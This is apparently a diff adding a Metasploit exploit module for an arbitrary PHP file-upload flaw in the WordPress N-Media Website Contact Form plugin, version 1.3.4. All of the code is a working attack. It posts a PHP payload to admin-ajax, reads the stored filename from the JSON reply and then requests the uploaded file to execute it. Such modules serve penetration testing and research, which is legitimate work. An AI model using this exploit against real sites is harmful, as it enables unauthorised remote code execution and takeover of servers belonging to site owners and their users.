|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form |
| 19 | + plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Claudio Viviani', # Vulnerability discovery |
| 24 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'], |
| 30 | + ['WPVDB', '7896'] |
| 31 | + ], |
| 32 | + 'Privileged' => false, |
| 33 | + 'Platform' => 'php', |
| 34 | + 'Arch' => ARCH_PHP, |
| 35 | + 'Targets' => [['N-Media WebSite Contact Form 1.3.4', {}]], |
| 36 | + 'DisclosureDate' => 'Apr 12 2015', |
| 37 | + 'DefaultTarget' => 0) |
| 38 | + ) |
| 39 | + end |
| 40 | + |
| 41 | + def check |
| 42 | + check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4') |
| 43 | + end |
| 44 | + |
| 45 | + def exploit |
| 46 | + php_pagename = rand_text_alpha(4 + rand(4)) + '.php' |
| 47 | + |
| 48 | + data = Rex::MIME::Message.new |
| 49 | + data.add_part('upload', nil, nil, 'form-data; name="action"') |
| 50 | + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"") |
| 51 | + data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"') |
| 52 | + post_data = data.to_s |
| 53 | + |
| 54 | + res = send_request_cgi({ |
| 55 | + 'uri' => wordpress_url_admin_ajax, |
| 56 | + 'method' => 'POST', |
| 57 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 58 | + 'data' => post_data |
| 59 | + }) |
| 60 | + |
| 61 | + if res && res.code == 200 && res.body =~ /filename/ |
| 62 | + begin |
| 63 | + new_php_pagename = JSON.parse(res.body)["filename"] |
| 64 | + rescue JSON::ParserError |
| 65 | + new_php_pagename = '' |
| 66 | + end |
| 67 | + print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...") |
| 68 | + register_files_for_cleanup(new_php_pagename) |
| 69 | + else |
| 70 | + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") |
| 71 | + end |
| 72 | + |
| 73 | + print_status("#{peer} - Calling payload...") |
| 74 | + send_request_cgi( |
| 75 | + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename) |
| 76 | + ) |
| 77 | + end |
| 78 | +end |
0 commit comments